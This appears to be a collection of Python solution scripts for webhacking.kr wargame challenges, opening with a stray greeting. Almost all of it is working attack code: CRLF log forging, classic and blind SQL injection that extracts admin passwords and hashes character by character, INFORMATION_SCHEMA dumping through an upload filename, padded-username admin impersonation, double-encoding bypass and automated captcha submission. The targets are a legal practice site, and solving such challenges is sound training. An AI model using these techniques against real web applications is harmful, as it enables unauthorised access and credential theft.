Hello Navi

#!/usr/bin/env python3
import argparse

import requests

def main() -> None:
    parser = argparse.ArgumentParser(description="Test the old-38 CRLF log payload")
    parser.add_argument("--client-ip", required=True)
    parser.add_argument("--base", default="https://webhacking.kr")
    args = parser.parse_args()

    session = requests.Session()
    login_url = args.base.rstrip("/") + "/challenge/bonus-9/"
    admin_url = login_url + "admin.php"
    forged_line = f"guest\r\n{args.client_ip}:admin"

    response = session.post(login_url, data={"id": forged_line}, timeout=20)
    response.raise_for_status()
    print(f"login: {response.status_code} {len(response.content)} bytes")

    admin_response = session.get(admin_url, timeout=20)
    admin_response.raise_for_status()
    print(admin_response.text)

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
import os
import sys

import requests

BASE_URL = os.environ.get(
    "OLD03_URL", "https://webhacking.kr/challenge/web-03/"
)
GRID = {
    "_1": "1",
    "_2": "0",
    "_3": "1",
    "_4": "0",
    "_5": "1",
    "_6": "0",
    "_7": "0",
    "_8": "0",
    "_9": "0",
    "_10": "0",
    "_11": "0",
    "_12": "1",
    "_13": "1",
    "_14": "1",
    "_15": "0",
    "_16": "0",
    "_17": "1",
    "_18": "0",
    "_19": "1",
    "_20": "0",
    "_21": "1",
    "_22": "1",
    "_23": "1",
    "_24": "1",
    "_25": "1",
    "_answer": "1010100000011100101011111",
}
INJECTION = "' or 1=1-- "

def main() -> int:
    with requests.Session() as session:
        clear = session.get(BASE_URL, params=GRID, timeout=10)
        clear.raise_for_status()
        result = session.post(
            BASE_URL,
            data={"answer": INJECTION, "id": "writeup"},
            timeout=10,
        )
        result.raise_for_status()
        print(result.text)
    return 0

if __name__ == "__main__":
    sys.exit(main())

#!/usr/bin/env python3
import os
import sys

import requests

BASE_URL = os.environ.get(
    "OLD05_URL", "https://webhacking.kr/challenge/web-05"
)
JOIN_URL = f"{BASE_URL}/mem/join.php?mode=1"
LOGIN_URL = f"{BASE_URL}/mem/login.php"
COOKIE_NAME = "oldzombie"
REGISTER_ID = (" " * 20) + "admin"
LOGIN_ID = "admin"
PASSWORD = "1234"

def main() -> int:
    with requests.Session() as session:
        session.cookies.set(COOKIE_NAME, "hello")
        register = session.post(
            JOIN_URL,
            data={"id": REGISTER_ID, "pw": PASSWORD},
            timeout=10,
        )
        register.raise_for_status()
        print(register.text)

        login = session.post(
            LOGIN_URL,
            data={"id": LOGIN_ID, "pw": PASSWORD},
            timeout=10,
        )
        login.raise_for_status()
        print(login.text)
    return 0

if __name__ == "__main__":
    sys.exit(main())

import argparse
import hashlib

import requests

URL = "https://webhacking.kr/challenge/bonus-2/index.php"
TRUE_MARKER = "wrong password!"
FALSE_MARKER = "login fail"

def oracle(session, condition):
    injection = f"admin' and ({condition})#"
    response = session.post(
        URL,
        data={"uuid": injection, "pw": "probe"},
        timeout=10,
    )
    response.raise_for_status()
    body = response.text.lower()
    if TRUE_MARKER in body:
        return True
    if FALSE_MARKER in body:
        return False
    raise RuntimeError("response did not contain a known oracle marker")

def recover_hash(session):
    digest_length = 32
    hex_chars = "0123456789abcdef"
    result = []
    for position in range(1, digest_length + 1):
        for char in hex_chars:
            code = ord(char)
            condition = f"ascii(substr(pw,{position},1))={code}"
            if oracle(session, condition):
                result.append(char)
                break
        else:
            raise RuntimeError(f"hash character at position {position} was not found")
    return "".join(result)

def find_candidate(digest, candidates):
    for candidate in candidates:
        calculated = hashlib.md5((candidate + "apple").encode("utf-8")).hexdigest()
        if calculated == digest:
            return candidate
    raise RuntimeError("no candidate matched the recovered digest")

def login(session, password):
    response = session.post(
        URL,
        data={"uuid": "admin", "pw": password},
        timeout=10,
    )
    response.raise_for_status()
    return response

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--candidate", action="append", required=True)
    args = parser.parse_args()

    with requests.Session() as session:
        digest = recover_hash(session)
        password = find_candidate(digest, args.candidate)
        result = login(session, password)
        print(digest)
        print(result.status_code)
        print(result.text)

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
import requests

BASE_URL = "https://webhacking.kr/challenge/web-11/"
PAYLOAD = "%2561%2564%256d%2569%256e"

def main() -> None:
    # 直接拼接已双重编码的值，保留两层百分号编码。
    response = requests.get(
        BASE_URL + "?id=" + PAYLOAD,
        timeout=20,
    )
    response.raise_for_status()
    print(response.text)

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
import requests

BASE_URL = "http://webhacking.kr:10004/"
CLIENT_IP = "<client-ip>"

def filename_for(expression: str) -> str:
    return (
        "abc',123,'{ip}'),"
        "((SELECT {expression}),123,'{ip}')#"
    ).format(ip=CLIENT_IP, expression=expression)

def upload_and_print(session: requests.Session, expression: str) -> None:
    filename = filename_for(expression)
    response = session.post(
        BASE_URL,
        files={
            "upfile": (filename, b"", "application/octet-stream"),
        },
        timeout=20,
    )
    response.raise_for_status()
    print(response.text)

def main() -> None:
    session = requests.Session()
    upload_and_print(session, "DATABASE()")
    upload_and_print(
        session,
        "GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES "
        "WHERE TABLE_SCHEMA='chall29'",
    )
    upload_and_print(
        session,
        "GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS "
        "WHERE TABLE_NAME='flag_congratz'",
    )
    upload_and_print(session, "flag FROM flag_congratz")

if __name__ == "__main__":
    main()

import re

import requests

URL = "https://webhacking.kr/challenge/code-4/"
CAPTCHA_PATTERN = re.compile(
    r"<input[^>]+name=[\"']?captcha_[\"']?[^>]+value=[\"']([^\"']+)[\"']",
    re.IGNORECASE,
)

def extract_captcha(html):
    match = CAPTCHA_PATTERN.search(html)
    if not match:
        raise RuntimeError("captcha input was not found")
    return match.group(1)

def solve_once():
    with requests.Session() as session:
        response = session.get(URL, timeout=10)
        response.raise_for_status()

        captcha = extract_captcha(response.text)
        if "st" not in session.cookies:
            raise RuntimeError("st cookie was not set by the GET response")

        post_response = session.post(
            URL,
            data={"id": "demo", "cmt": "hello", "captcha": captcha},
            timeout=10,
        )
        post_response.raise_for_status()
        return post_response

if __name__ == "__main__":
    result = solve_once()
    print(result.status_code)
    print(result.text)

import requests

URL = "https://webhacking.kr/challenge/bonus-1/"
TRUE_MARKER = "wrong password"
FALSE_MARKER = "login fail"

def oracle(session, condition):
    injection = f"admin' and ({condition}) or '1'='0' -- "
    response = session.get(
        URL,
        params={"id": injection, "pw": "probe"},
        timeout=10,
    )
    response.raise_for_status()
    body = response.text.lower()
    if TRUE_MARKER in body:
        return True
    if FALSE_MARKER in body:
        return False
    raise RuntimeError("response did not contain a known oracle marker")

def recover_password(session):
    password_length = None
    for length in range(1, 101):
        if oracle(session, f"length(pw)={length}"):
            password_length = length
            break
    if password_length is None:
        raise RuntimeError("password length was not found")

    password_chars = []
    for position in range(1, password_length + 1):
        for code in range(32, 127):
            condition = f"ascii(substr(pw,{position},1))={code}"
            if oracle(session, condition):
                password_chars.append(chr(code))
                break
        else:
            raise RuntimeError(f"character at position {position} was not found")
    return "".join(password_chars)

def login(session, password):
    response = session.get(
        URL,
        params={"id": "admin", "pw": password},
        timeout=10,
    )
    response.raise_for_status()
    return response

if __name__ == "__main__":
    with requests.Session() as session:
        password = recover_password(session)
        print(password)
        result = login(session, password)
        print(result.status_code)
        print(result.text)